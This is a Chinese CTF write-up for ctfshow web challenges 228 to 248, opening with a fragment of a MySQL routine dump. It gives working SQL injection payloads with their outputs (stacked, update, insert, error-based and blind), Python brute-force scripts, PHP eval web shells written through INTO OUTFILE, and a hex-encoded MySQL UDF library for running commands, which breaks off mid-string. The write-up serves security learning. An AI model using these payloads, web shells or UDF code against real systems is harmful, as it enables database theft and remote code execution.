04:15:22","SQL_MODE":"","ROUTINE_COMMENT":"","DEFINER":"root@localhost","CHARACTER_SET_CLIENT":"utf8","COLLATION_CONNECTION":"utf8_general_ci","DATABASE_COLLATION":"utf8mb4_general_ci"},{"SPECIFIC_NAME":"DropGeometryColumn","ROUTINE_CATALOG":"def","ROUTINE_SCHEMA":"mysql","ROUTINE_NAME":"DropGeometryColumn","ROUTINE_TYPE":"PROCEDURE","DATA_TYPE":"","CHARACTER_MAXIMUM_LENGTH":null,"CHARACTER_OCTET_LENGTH":null,"NUMERIC_PRECISION":null,"NUMERIC_SCALE":null,"DATETIME_PRECISION":null,"CHARACTER_SET_NAME":null,"COLLATION_NAME":null,"DTD_IDENTIFIER":null,"ROUTINE_BODY":"SQL","ROUTINE_DEFINITION":"begin\n  set @qwe= concat('ALTER TABLE ', t_schema, '.', t_name, ' DROP ', geometry_column); PREPARE ls from @qwe; execute ls; deallocate prepare ls; end","EXTERNAL_NAME":null,"EXTERNAL_LANGUAGE":null,"PARAMETER_STYLE":"SQL","IS_DETERMINISTIC":"NO","SQL_DATA_ACCESS":"CONTAINS SQL","SQL_PATH":null,"SECURITY_TYPE":"INVOKER","CREATED":"2019-10-31 04:15:22","LAST_ALTERED":"2019-10-31 04:15:22","SQL_MODE":"","ROUTINE_COMMENT":"","DEFINER":"root@localhost","CHARACTER_SET_CLIENT":"utf8","COLLATION_CONNECTION":"utf8_general_ci","DATABASE_COLLATION":"utf8mb4_general_ci"}]}

web228

//分页查询
$sql = "select id,username,pass from ctfshow_user where username = '{$username}';";
$bansql = "select char from banlist;";
      
//师傅说内容太多,就写入数据库保存
if(count($banlist)>0){
    foreach ($banlist as $char) {
        if(preg_match("/".$char."/i", $username)){
            die(json_encode($ret));
        }
    }
}

有过滤的堆叠注入,这次把禁用的字符放进了表里,测试发现 web226 的 payload 还能用,一把梭。

web229

//分页查询
$sql = "select id,username,pass from ctfshow_user where username = '{$username}';";
      
//师傅说内容太多,就写入数据库保存
if(count($banlist)>0){
    foreach ($banlist as $char) {
        if(preg_match("/".$char."/i", $username)){
            die(json_encode($ret));
        }
    }
}

有过滤的堆叠注入,同上题一把梭。

web230

//分页查询
$sql = "select id,username,pass from ctfshow_user where username = '{$username}';";
      
//师傅说内容太多,就写入数据库保存
if(count($banlist)>0){
    foreach ($banlist as $char) {
        if(preg_match("/".$char."/i", $username)){
            die(json_encode($ret));
        }
    }
}

有过滤的堆叠注入,同上上题一把梭。

web231

//分页查询
$sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";
      
//无过滤

update 注入,可以布尔盲注,但更方便的是注入 password 处逗号分隔用要查的数据改掉 username ,注释掉后面的条件可覆盖所有的记录,再查询数据实现回显。
payload1: password=ctfshow',username=(select group_concat(table_name) from information_schema.tables where table_schema=database())%23&username=nonono
username: banlist,ctfshow_user,flaga
payload2: password=ctfshow',username=(select group_concat(column_name) from information_schema.columns where table_name='flaga')%23&username=nonono
username: id,flagas,info
payload3: password=ctfshow',username=(select flagas from flaga)%23&username=nonono
username 找到 flag。

web232

//分页查询
$sql = "update ctfshow_user set pass = md5('{$password}') where username = '{$username}';";

//无过滤

update 注入,和上一题相比多给 password 套了一层 md5 函数,对后面的 username 无影响。
payload1: password=ctfshow'),username=(select group_concat(table_name) from information_schema.tables where table_schema=database())%23&username=nonono
username: banlist,ctfshow_user,flagaa
payload2: password=ctfshow'),username=(select group_concat(column_name) from information_schema.columns where table_name='flagaa')%23&username=nonono
username: id,flagass,info
payload3: password=ctfshow'),username=(select flagass from flagaa)%23&username=nonono
username 找到 flag。

web233

//分页查询
$sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";
      
//无过滤

update 注入,题目说没过滤,但之前的 payload 跑不通了,那就布尔盲注叭。。。

import random
import requests


url = "http://7b8e78f1-5553-4398-b9a7-084487b6d003.challenge.ctf.show:8080/api/"
# 表名 banlist,ctfshow_user,flag233333
# payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
# 列名 id,flagass233,info
# payload = "select group_concat(column_name) from information_schema.columns where table_name='flag233333'"
# flag
payload = "select flagass233 from flag233333"

condition = "ascii(mid(({}),{},1))>{}"
true_flag = "更新成功"


def valid_payload(p: str) -> bool:
    data = {
        "password": str(random.random()),
        "username": f"ctfshow' and if({p},1,0) #"
    }
    response = None
    while True:
        try:
            response = requests.post(f"{url}", data=data)
        except:
            continue
        break
    return true_flag in response.json()["msg"]


index = 1
result = ""

while True:
    start = 32
    end = 127
    while not(abs(start - end) == 1 or start == end):
        everage = (start + end) // 2
        if valid_payload(condition.format(payload, index, everage)):
            start = everage
        else:
            end = everage
    if end < start:
        end = start
    if chr(end) == "!":
        break
    result += chr(end)
    print(f"[*] result: {result}")
    index += 1

web234

//分页查询
$sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";
      
//无过滤

有过滤的 update 注入,相比上一题禁用了单引号,但还可以利用 \ 转义 pass 的单引号,让 ' where username = 变成 pass,然后 $username 就可以注入了。
payload1: password=%5C&username=,username=(select group_concat(table_name) from information_schema.tables where table_schema=database())%23
username: banlist,ctfshow_user,flag23a
payload2: password=%5C&username=,username=(select group_concat(column_name) from information_schema.columns where table_name=0x666c6167323361)%23
username: id,flagass23s3,info
payload3: password=%5C&username=,username=(select flagass23s3 from flag23a)%23
username 找到 flag。

web235

//分页查询
$sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";
      
//过滤 or ' 

有过滤的 update 注入,相比上一题禁用了 or,information_schema 就也不能用了,改用 mysql.innodb_table_stats 查表名,再用无列名注入
payload1: password=%5C&username=,username=(select group_concat(table_name) from mysql.innodb_table_stats)%23
username: banlist,ctfshow_user,flag23a1,gtid_slave_pos
payload2: password=%5C&username=,username=(select d from (select 1,2 as d,3 union select * from flag23a1)a)%23
username 找到 flag。

web236

//分页查询
$sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";
      
//过滤 or ' flag

有过滤的 update 注入,相比上一题禁用了 flag,但却还是能作为表名查询不知道为啥。
payload1: password=%5C&username=,username=(select group_concat(table_name) from mysql.innodb_table_stats)%23
username: banlist,ctfshow_user,flaga,gtid_slave_pos
payload2: password=%5C&username=,username=(select hex(b) from (select 1,2 as b,3 union select * from flaga limit 1,1)a)%23
username 解码为 flag。

web237

//插入数据
$sql = "insert into ctfshow_user(username,pass) value('{$username}','{$password}');";
      
//无过滤

无过滤的 insert 注入,先用 \ 在 username 逃逸后面的 password,查出来数据插入再查询得到回显。
payload1: username=\&password=,(select group_concat(table_name) from information_schema.tables where table_schema=database()))%23
password: banlist,ctfshow_user,flag
payload2: username=\&password=,(select group_concat(column_name) from information_schema.columns where table_schema=database()))%23
password: id,char,id,username,pass,id,flagass23s3,info
payload3: username=\&password=,(select flagass23s3 from flag))%23
password 找到 flag。

web238

//插入数据
$sql = "insert into ctfshow_user(username,pass) value('{$username}','{$password}');";
      
//过滤空格

有过滤的 insert 注入。相比上题过滤了空格,尝试 %09 %0a %0b %0c %0d /**/ 都不行,括号可以。
payload1: username=\&password=,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())))%23
password: banlist,ctfshow_user,flagb
payload2: username=\&password=,(select(group_concat(column_name))from(information_schema.columns)where(table_schema=database())))%23
password: id,char,id,username,pass,id,flag,info
payload3: username=\&password=,(select(flag)from(flagb)))%23
password 找到 flag。

web239

//插入数据
$sql = "insert into ctfshow_user(username,pass) value('{$username}','{$password}');";

//过滤空格 or 

有过滤的 insert 注入、相比上题过滤了 orinformation_schema 中枪,改用 mysql.innodb_table_stats
payload1: username=\&password=,(select(group_concat(table_name))from(mysql.innodb_table_stats)where(database_name=database())))%23
password: banlist,ctfshow_user,flagbb
脑洞列名 flag。
payload2: username=\&password=,(select(flag)from(flagbb)))%23
password 找到 flag。

web240

//插入数据
$sql = "insert into ctfshow_user(username,pass) value('{$username}','{$password}');";
      
//过滤空格 or sys mysql

有过滤的 insert 注入,表名靠爆破列名靠猜。
Hint: 表名共9位,flag开头,后五位由a/b组成,如flagabaab,全小写

import requests

url = "http://39865a8d-b0b3-44cc-be00-3eff183f3c70.challenge.ctf.show:8080/api/insert.php"
payloads = [{
    "username": "\\",
    "password": f",(select(flag)from(flag{a})))#"
} for a in [f"{a}{b}{c}{d}{e}"for a in "ab" for b in "ab" for c in "ab" for d in "ab" for e in "ab"]]

for payload in payloads:
    response = requests.post(url, data=payload)
    print(f"[*] response: {response.json()}")

password 找到 flag。

web241

//删除记录
$sql = "delete from  ctfshow_user where id = {$id}";
      
//无过滤

无过滤的 delete 注入,没有分号数字型注入,布尔盲注记录会越来越少,用时间盲注。
一开始用 if(1,sleep(1),0) 尝试延时了好久都没返回,后来明白是所有记录都算了一遍 if,这里用 sleep(0.05) 就能延时超过 0.7s 了。

url = 'http://58e7b03f-3c20-48e0-a8f8-9a3efa102f6d.challenge.ctf.show:8080/api/delete.php'


def test2() -> float:
    rand = random.random()
    time_s = time.time()
    _ = requests.post(url,data={"id": f"if({1 if rand > 0.5 else 0},sleep(0.05),0)"})
    time_e = time.time()
    return (rand > 0.5, time_e - time_s)

print([test() for _ in range(30)])
# [(True, 1.587900161743164),   
#  (True, 1.5109484195709229),  
#  (False, 0.49611639976501465),
#  (True, 1.4959654808044434),  
#  (True, 1.5170273780822754),  
#  (True, 1.4945576190948486),  
#  (False, 0.49541330337524414),
#  (False, 0.5102529525756836),
#  (False, 0.499330997467041),
#  (True, 1.5034611225128174),
#  (False, 0.5034303665161133),
#  (False, 0.48406004905700684),
#  (False, 0.5018246173858643),
#  (False, 0.510920524597168),
#  (False, 0.3732478618621826),
#  (False, 0.37639641761779785),
#  (False, 0.5028927326202393),
#  (True, 1.4956040382385254),
#  (True, 1.518369436264038),
#  (True, 1.4820938110351562),
#  (True, 1.5192668437957764),
#  (False, 0.4892847537994385),
#  (True, 1.5094366073608398),
#  (False, 0.4919764995574951),
#  (True, 1.5026938915252686),
#  (False, 0.5101568698883057),
#  (True, 1.5108904838562012),
#  (True, 1.4919395446777344),
#  (True, 1.4966061115264893),
#  (False, 0.5028080940246582)]
# 可知判断临界条件取 0.7s 就够了

脚本

import time
import requests


url = "http://58e7b03f-3c20-48e0-a8f8-9a3efa102f6d.challenge.ctf.show:8080/api/delete.php"
# 表名 banlist,ctfshow_user,flag
# payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
# 列名 id,flag,info
# payload = "select group_concat(column_name) from information_schema.columns where table_name='flag'"
# flag
payload = "select flag from flag"
condition = "ascii(mid(({}),{},1))>{}"


def valid_payload(p: str) -> bool:
    data = {
        "id": f"if({p},sleep(0.05),0)"
    }
    time_s = None
    time_e = None
    while True:
        try:
            time_s = time.time()
            _ = requests.post(f"{url}", data=data)
            time_e = time.time()
        except:
            continue
        break
    return time_e-time_s >= 0.7


index = 1
result = ""

while True:
    start = 32
    end = 127
    while not(abs(start - end) == 1 or start == end):
        mid = (start + end) // 2
        if valid_payload(condition.format(payload, index, mid)):
            start = mid
        else:
            end = mid
    if end < start:
        end = start
    if chr(end) == "!":
        break
    result += chr(end)
    print(f"[*] result: {result}")
    index += 1

web242

//备份表
$sql = "select * from ctfshow_user into outfile '/var/www/html/dump/{$filename}';";
      
//无过滤

outfile 后面的路径注入,已知语法

SELECT ... INTO OUTFILE 'file_name'
        [CHARACTER SET charset_name]
        [export_options]
 
export_options:
    [{FIELDS | COLUMNS}
        [TERMINATED BY 'string']
        [[OPTIONALLY] ENCLOSED BY 'char']
        [ESCAPED BY 'char']
    ]
    [LINES
        [STARTING BY 'string']
        [TERMINATED BY 'string']
    ]

可以利用 export_options 插 shell。
payload: filename=sh.php' lines terminated by '<?php eval($_POST[1]); ?>'%23
蚁剑连接 /dump/sh.php,flag 在 /flag.here

web243

//备份表
$sql = "select * from ctfshow_user into outfile '/var/www/html/dump/{$filename}';";
      
//过滤了php

outfile 后面的路径注入,php 被过滤,文件名部分改用 .user.ini 绕过,内容改用十六进制绕过。
ini 文件中注释 ; 开头,这里用 starting by ';' 注释掉原本的内容,后面的字符串前面加个换行就不影响了。
payload1: filename=.user.ini' lines starting by ';' terminated by 0x0a0a6175746f5f70726570656e645f66696c653d736166652e6a70670a6175746f5f617070656e645f66696c653d736166652e6a7067; %23
payload2: filename=safe.jpg' lines terminated by 0x3c3f706870206576616c28245f504f53545b315d293b203f3e; %23
蚁剑连接 /dump/,flag 在 /flag.here

web244

没有过滤的报错注入。

//备份表
$sql = "select id,username,pass from ctfshow_user where id = '".$id."' limit 1;";

//无过滤

payload1: 1' and updatexml(1,concat(0x7c,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1) %23

{"code":0,"msg":"XPATH syntax error: '|banlist,ctfshow_flag,ctfshow_us'","count":1,"data":[]}

payload2: 1' and updatexml(1,concat(0x7c,(select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flag')),1) %23

{"code":0,"msg":"XPATH syntax error: '|id,flag,info'","count":1,"data":[]}

payload3: 1' and updatexml(1,concat(0x7c,(select flag from ctfshow_flag)),1) %23

{"code":0,"msg":"XPATH syntax error: '|ctfshow{9efdc62f-4ea2-4d85-9d42'","count":1,"data":[]}

payload4: 1' and updatexml(1,concat(0x7c,mid((select flag from ctfshow_flag),30,30)),1) %23

{"code":0,"msg":"XPATH syntax error: '|42-193e145caabd}'","count":1,"data":[]}

拼接前后两段得到 flag。

web245

$sql = "select id,username,pass from ctfshow_user where id = '".$id."' limit 1;";

//过滤updatexml

有过滤的报错注入,提示过滤了 updatexml,但还可以用 extractvalue。
payload1: 1' and extractvalue(1,concat(0x7c,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) %23

{"code":0,"msg":"XPATH syntax error: '|banlist,ctfshow_flagsa,ctfshow_'","count":1,"data":[]}

payload2: 1' and extractvalue(1,concat(0x7c,(select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagsa'))) %23

{"code":0,"msg":"XPATH syntax error: '|id,flag1,info'","count":1,"data":[]}

payload3: 1' and extractvalue(1,concat(0x7c,(select flag1 from ctfshow_flagsa))) %23

{"code":0,"msg":"XPATH syntax error: '|ctfshow{f7f4c22a-8131-4158-9f14'","count":1,"data":[]}

payload4: 1' and extractvalue(1,concat(0x7c,mid((select flag1 from ctfshow_flagsa), 30, 30))) %23

{"code":0,"msg":"XPATH syntax error: '|14-43d8f263be54}'","count":1,"data":[]}

拼接前后两段得到 flag。

web246

$sql = "select id,username,pass from ctfshow_user where id = '".$id."' limit 1;";

//过滤updatexml extractvalue

有过滤的报错注入,这次把 extractvalue 也禁用了,要用 floor。
关于 floor 报错注入的理解见 https://www.freebuf.com/column/235496.html,原理不再赘述。
payload1: 1' and (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a) %23

{"code":0,"msg":"Duplicate entry 'ctfshow_flags1' for key 'group_key'","count":1,"data":[]}

payload2: 1' and (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_schema=database() limit 3,1),floor(rand(0)*2))x from information_schema.tables group by x)a) %23

{"code":0,"msg":"Duplicate entry 'flag21' for key 'group_key'","count":1,"data":[]}

payload3: 1' and (select 1 from (select count(*),concat((select flag2 from ctfshow_flags),floor(rand(0)*2))x from information_schema.tables group by x)a) %23

{"code":0,"msg":"Duplicate entry 'ctfshow{0f6309d1-ca9d-4653-b570-ea7802592546}1' for key 'group_key'","count":1,"data":[]}

web247

$sql = "select id,username,pass from ctfshow_user where id = '".$id."' limit 1;";

//过滤updatexml extractvalue floor

有过滤的报错注入,这次新增禁用 floor,还可以用 ceil 代替。
payload1: 1' and (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 1,1),ceil(rand(0)*2))x from information_schema.tables group by x)a) %23

{"code":0,"msg":"Duplicate entry 'ctfshow_flagsa2' for key 'group_key'","count":1,"data":[]}

payload2: 1' and (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_schema=database() limit 3,1),ceil(rand(0)*2))x from information_schema.tables group by x)a) %23

{"code":0,"msg":"Duplicate entry 'flag?2' for key 'group_key'","count":1,"data":[]}

payload3: 1' and (select 1 from (select count(*),concat((select `flag?` from ctfshow_flagsa),ceil(rand(0)*2))x from information_schema.tables group by x)a) %23
注意这里 flag? 包含 ? 要用反引号包裹。

{"code":0,"msg":"Duplicate entry 'ctfshow{b98fc9f9-0a57-4296-ad5b-cb7deb1d2921}2' for key 'group_key'","count":1,"data":[]}

web248

$sql = "select id,username,pass from ctfshow_user where id = '".$id."' limit 1;";

//无过滤,

udf 注入,找了个脚本改了下。

import requests

url = 'http://c4cfac67-eec1-4378-ac1b-75c52840f816.challenge.ctf.show:8080/api/?id='
code = '7F454C4602010100000000000000000003003E0001000000800A000000000000400000000000000058180000000000000000000040003800060040001C0019000100000005000000000000000000000000000000000000000000000000000000C414000000000000C41400000000000000002000000000000100000006000000C814000000000000C814200000000000C8142000000000004802000000000000580200000000000000002000000000000200000006000000F814000000000000F814200000000000F814200000000000800100000000000080010000000000000800000000000000040000000400000090010000000000009001000000000000900100000000000024000000000000002400000000000000040000000000000050E574640400000044120000000000004412000000000000441200000000000084000000000000008400000000000000040000000000000051E5746406000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000040000001400000003000000474E5500D7FF1D94176ABA0C150B4F3694D2EC995AE8E1A8000000001100000011000000020000000700000080080248811944C91CA44003980468831100000013000000140000001600000017000000190000001C0000001E000000000000001F00000000000000200000002100000022000000230000002400000000000000CE2CC0BA673C7690EBD3EF0E78722788B98DF10ED971581CA868BE12BBE3927C7E8B92CD1E7066A9C3F9BFBA745BB073371974EC4345D5ECC5A62C1CC3138AFF3B9FD4A0AD73D1C50B5911FEAB5FBE1200000000000000000000000000000000000000000000000000000000000000000300090088090000000000000000000000000000010000002000000000000000000000000000000000000000250000002000000000000000000000000000000000000000CD00000012000000000000000000000000000000000000001E0100001200000000000000000000000000000000000000620100001200000000000000000000000000000000000000E30000001200000000000000000000000000000000000000B90000001200000000000000000000000000000000000000680100001200000000000000000000000000000000000000160000002200000000000000000000000000000000000000540000001200000000000000000000000000000000000000F00000001200000000000000000000000000000000000000B200000012000000000000000000000000000000000000005A01000012000000000000000000000000000000000000005201000012000000000000000000000000000000000000004C0100001200000000000000000000000000000000000000E800000012000B00D10D000000000000D1000000000000003301000012000B00A90F0000000000000A000000000000001000000012000C00481100000000000000000000000000007800000012000B009F0B0000000000004C00000000000000FF0000001200090088090000000000000000000000000000800100001000F1FF101720000000000000000000000000001501000012000B00130F0000000000002F000000000000008C0100001000F1FF201720000000000000000000000000009B00000012000B00480C0000000000000A000000000000002501000012000B00420F0000000000006700000000000000AA00000012000B00520C00000000000063000000000000005B00000012000B00950B0000000000000A000000000000008E00000012000B00EB0B0000000000005D00000000000000790100001000F1FF101720000000000000000000000000000501000012000B00090F0000000000000A00000000000000C000000012000B00B50C000000000000F100000000000000F700000012000B00A20E00000000000067000000000000003900000012000B004C0B0000000000004900000000000000D400000012000B00A60D0000000000002B000000000000004301000012000B00B30F0000000000005501000000000000005F5F676D6F6E5F73746172745F5F005F66696E69005F5F6378615F66696E616C697A65005F4A765F5265676973746572436C6173736573006C69625F6D7973716C7564665F7379735F696E666F5F696E6974006D656D637079006C69625F6D7973716C7564665F7379735F696E666F5F6465696E6974006C69625F6D7973716C7564665F7379735F696E666F007379735F6765745F696E6974007379735F6765745F6465696E6974007379735F67657400676574656E76007374726C656E007379735F7365745F696E6974006D616C6C6F63007379735F7365745F6465696E69740066726565007379735F73657400736574656E76007379735F657865635F696E6974007379735F657865635F6465696E6974007379735F657865630073797374656D007379735F6576616C5F696E6974007379735F6576616C5F6465696E6974007379735F6576616C00706F70656E007265616C6C6F63007374726E6370790066676574730070636C6F7365006C6962632E736F2E36005F6564617461005F5F6273735F7374617274005F656E6400474C4942435F322E322E3500000000000000000000020002000200020002000200020002000200020002000200020001000100010001000100010001000100010001000100010001000100010001000100010001000100010001006F0100001000000000000000751A6909000002009101000000000000F0142000000000000800000000000000F0142000000000007816200000000000060000000200000000000000000000008016200000000000060000000300000000000000000000008816200000000000060000000A0000000000000000000000A81620000000000007000000040000000000000000000000B01620000000000007000000050000000000000000000000B81620000000000007000000060000000000000000000000C01620000000000007000000070000000000000000000000C81620000000000007000000080000000000000000000000D01620000000000007000000090000000000000000000000D816200000000000070000000A0000000000000000000000E016200000000000070000000B0000000000000000000000E816200000000000070000000C0000000000000000000000F016200000000000070000000D0000000000000000000000F816200000000000070000000E00000000000000000000000017200000000000070000000F00000000000000000000000817200000000000070000001000000000000000000000004883EC08E8EF000000E88A010000E8750700004883C408C3FF35F20C2000FF25F40C20000F1F4000FF25F20C20006800000000E9E0FFFFFFFF25EA0C20006801000000E9D0FFFFFFFF25E20C20006802000000E9C0FFFFFFFF25DA0C20006803000000E9B0FFFFFFFF25D20C20006804000000E9A0FFFFFFFF25CA0C20006805000000E990FFFFFFFF25C20C20006806000000E980FFFFFFFF25BA0C20006807000000E970FFFFFFFF25B20C20006808000000E960FFFFFFFF25AA0C20006809000000E950FFFFFFFF25A20C2000680A000000E940FFFFFFFF259A0C2000680B000000E930FFFFFFFF25920C2000680C000000E920FFFFFF4883EC08488B05ED0B20004885C07402FFD04883C408C390909090909090909055803D680C2000004889E5415453756248833DD00B200000740C488D3D2F0A2000E84AFFFFFF488D1D130A20004C8D25040A2000488B053D0C20004C29E348C1FB034883EB014839D873200F1F4400004883C0014889051D0C200041FF14C4488B05120C20004839D872E5C605FE0B2000015B415CC9C3660F1F84000000000048833DC009200000554889E5741A488B054B0B20004885C0740E488D3DA7092000C9FFE00F1F4000C9C39090554889E54883EC3048897DE8488975E0488955D8488B45E08B0085C07421488D0DE7050000488B45D8BA320000004889CE4889C7E89BFEFFFFC645FF01EB04C645FF000FB645FFC9C3554889E548897DF8C9C3554889E54883EC3048897DF8488975F0488955E848894DE04C8945D84C894DD0488D0DCA050000488B45E8BA1F0000004889CE4889C7E846FEFFFF488B45E048C7001E000000488B45E8C9C3554889E54883EC2048897DF8488975F0488955E8488B45F08B0083F801751C488B45F0488B40088B0085C0750E488B45F8C60001B800000000EB20488D0D83050000488B45E8BA2B0000004889CE4889C7E8DFFDFFFFB801000000C9C3554889E548897DF8C9C3554889E54883EC4048897DE8488975E0488955D848894DD04C8945C84C894DC0488B45E0488B4010488B004889C7E8BBFDFFFF488945F848837DF8007509488B45C8C60001EB16488B45F84889C7E84BFDFFFF4889C2488B45D0488910488B45F8C9C3554889E54883EC2048897DF8488975F0488955E8488B45F08B0083F8027425488D0D05050000488B45E8BA1F0000004889CE4889C7E831FDFFFFB801000000E9AB000000488B45F0488B40088B0085C07422488D0DF2040000488B45E8BA280000004889CE4889C7E8FEFCFFFFB801000000EB7B488B45F0488B40084883C004C70000000000488B45F0488B4018488B10488B45F0488B40184883C008488B00488D04024883C0024889C7E84BFCFFFF4889C2488B45F848895010488B45F8488B40104885C07522488D0DA4040000488B45E8BA1A0000004889CE4889C7E888FCFFFFB801000000EB05B800000000C9C3554889E54883EC1048897DF8488B45F8488B40104885C07410488B45F8488B40104889C7E811FCFFFFC9C3554889E54883EC3048897DE8488975E0488955D848894DD0488B45E8488B4010488945F0488B45E0488B4018488B004883C001480345F0488945F8488B45E0488B4018488B10488B45E0488B4010488B08488B45F04889CE4889C7E8EFFBFFFF488B45E0488B4018488B00480345F0C60000488B45E0488B40184883C008488B10488B45E0488B40104883C008488B08488B45F84889CE4889C7E8B0FBFFFF488B45E0488B40184883C008488B00480345F8C60000488B4DF8488B45F0BA010000004889CE4889C7E892FBFFFF4898C9C3554889E54883EC3048897DE8488975E0488955D8C745FC00000000488B45E08B0083F801751F488B45E0488B40088B55FC48C1E2024801D08B0085C07507B800000000EB20488D0DC2020000488B45D8BA2B0000004889CE4889C7E81EFBFFFFB801000000C9C3554889E548897DF8C9C3554889E54883EC2048897DF8488975F0488955E848894DE0488B45F0488B4010488B004889C7E882FAFFFF4898C9C3554889E54883EC3048897DE8488975E0488955D8C745FC00000000488B45E08B0083F801751F488B45E0488B40088B55FC48C1E2024801D08B0085C07507B800000000EB20488D0D22020000488B45D8BA2B0000004889CE4889C7E87EFAFFFFB801000000C9C3554889E548897DF8C9C3554889E54881EC500400004889BDD8FBFFFF4889B5D0FBFFFF488995C8FBFFFF48898DC0FBFFFF4C8985B8FBFFFF4C898DB0FBFFFFBF01000000E8BEF9FFFF488985C8FBFFFF48C745F000000000488B85D0FBFFFF488B4010488B00488D352C0200004889C7E852FAFFFF488945E8EB63488D85E0FBFFFF4889C7E8BDF9FFFF488945F8488B45F8488B55F04801C2488B85C8FBFFFF4889D64889C7E80CFAFFFF488985C8FBFFFF488D85E0FBFFFF488B55F0488B8DC8FBFFFF4801D1488B55F84889C64889CFE8D1F9FFFF488B45F8480145F0488B55E8488D85E0FBFFFFBE000400004889C7E831F9FFFF4885C07580488B45E84889C7E850F9FFFF488B85C8FBFFFF0FB60084C0740A4883BDC8FBFFFF00750C488B85B8FBFFFFC60001EB2B488B45F0488B95C8FBFFFF488D0402C60000488B85C8FBFFFF4889C7E8FBF8FFFF488B95C0FBFFFF488902488B85C8FBFFFFC9C39090909090909090554889E5534883EC08488B05A80320004883F8FF7419488D1D9B0320000F1F004883EB08FFD0488B034883F8FF75F14883C4085BC9C390904883EC08E84FF9FFFF4883C408C300004E6F20617267756D656E747320616C6C6F77656420287564663A206C69625F6D7973716C7564665F7379735F696E666F29000000000000006C69625F6D7973716C7564665F7379732076657273696F6E20302E302E33000045787065637465642065786163746C79206F6E6520737472696E67207479706520706172616D6574657200000000000045787065637465642065786163746C792074776F20617267756D656E74730000457870656374656420737472696E67207479706520666F72206E616D6520706172616D6574657200436F756C64206E6F7420616C6C6F63617465206D656D6F7279007200011B033B800000000F00000008F9FFFF9C00000051F9FFFFBC0000005BF9FFFFDC000000A7F9FFFFFC00000004FAFFFF1C0100000EFAFFFF3C01000071FAFFFF5C01000062FBFFFF7C0100008DFBFFFF9C0100005EFCFFFFBC010000C5FCFFFFDC010000CFFCFFFFFC010000FEFCFFFF1C02000065FDFFFF3C0200006FFDFFFF5C0200001400000000000000017A5200017810011B0C0708900100001C0000001C00000064F8FFFF4900000000410E108602430D0602440C070800001C0000003C0000008DF8FFFF0A00000000410E108602430D06450C07080000001C0000005C00000077F8FFFF4C00000000410E108602430D0602470C070800001C0000007C000000A3F8FFFF5D00000000410E108602430D0602580C070800001C0000009C000000E0F8FFFF0A00000000410E108602430D06450C07080000001C000000BC000000CAF8FFFF6300000000410E108602430D06025E0C070800001C000000DC0000000DF9FFFFF100000000410E108602430D0602EC0C070800001C000000FC000000DEF9FFFF2B00000000410E108602430D06660C07080000001C0000001C010000E9F9FFFFD100000000410E108602430D0602CC0C070800001C0000003C0100009AFAFFFF6700000000410E108602430D0602620C070800001C0000005C010000E1FAFFFF0A00000000410E108602430D06450C07080000001C0000007C010000CBFAFFFF2F00000000410E108602430D066A0C07080000001C0000009C010000DAFAFFFF6700000000410E108602430D0602620C070800001C000000BC01000021FBFFFF0A00000000410E108602430D06450C07080000001C000000DC0100000BFBFFFF5501000000410E108602430D060350010C0708000000000000000000FFFFFFFFFFFFFFFF0000000000000000FFFFFFFFFFFFFFFF00000000000000000000000000000000F01420000000000001000000000000006F010000000000000C0000000000000088090000000000000D000000000000004811000000000000F5FEFF6F00000000B8010000000000000500000000000000E805000000000000060000000000000070020000000000000A000000000000009D010000000000000B000000000000001800000000000000030000000000000090162000000000000200000000000000380100000000000014000000000000000700000000000000170000000000000050080000000000000700000000000000F0070000000000000800000000000000600000000000000009000000000000001800000000000000FEFFFF6F00000000D007000000000000FFFFFF6F000000000100000000000000F0FFFF6F000000008607000000000000F9FFFF6F0000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000F81420000000000000000000000000000000000000000000B609000000000000C609000000000000D609000000000000E609000000000000F609000000000000060A000000000000160A000000000000260A000000000000360A000000000000460A000000000000560A000000000000660A000000000000760A0000000000004743433A2028474E552920342E342E3720323031323033313320285265642048617420342E342E372D3429004743433A2028474E552920342E342E3720323031323033313320285265642048617420342E342E372D31372900002E73796D746162002E737472746162002E7368737472746162002E6E6F74652E676E752E6275696C642D6964002E676E752E68617368002E64796E73796D002E64796E737472002E676E752E76657273696F6E002E676E752E76657273696F6E5F72002E72656C612E64796E002E72656C612E706C74002E696E6974002E74657874002E66696E69002E726F64617461002E65685F6672616D655F686472002E65685F6672616D65002E63746F7273002E64746F7273002E6A6372002E646174612E72656C2E726F002E64796E616D6963002E676F74002E676F742E706C74002E627373002E636F6D6D656E7400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001B0000000700000002000000000000009001000000000000900100000000000024000000000000000000000000000000040000000000000000000000000000002E000000F6FFFF6F0200000000000000B801000000000000B801000000000000B400000000000000030000000000000008000000000000000000000000000000380000000B000000020000000000000070020000000000007002000000000000780300000000000004000000020000000800000000000000180000000000000040000000030000000200000000000000E805000000000000E8050000000000009D0100000000000000000000000000000100000000000000000000000000000048000000FFFFFF6F0200000000000000860700000000000086070000000000004A0000000000000003000000000000000200000000000000020000000000000055000000FEFFFF6F0200000000000000D007000000000000D007000000000000200000000000000004000000010000000800000000000000000000000000000064000000040000000200000000000000F007000000000000F00700000000000060000000000000000300000000000000080000000000000018000000000000006E000000040000000200000000000000500800000000000050080000000000003801000000000000030000000A000000080000000000000018000000000000007800000001000000060000000000000088090000000000008809000000000000180000000000000000000000000000000400000000000000000000000000000073000000010000000600000000000000A009000000000000A009000000000000E0000000000000000000000000000000040000000000000010000000000000007E000000010000000600000000000000800A000000000000800A000000000000C8060000000000000000000000000000100000000000000000000000000000008400000001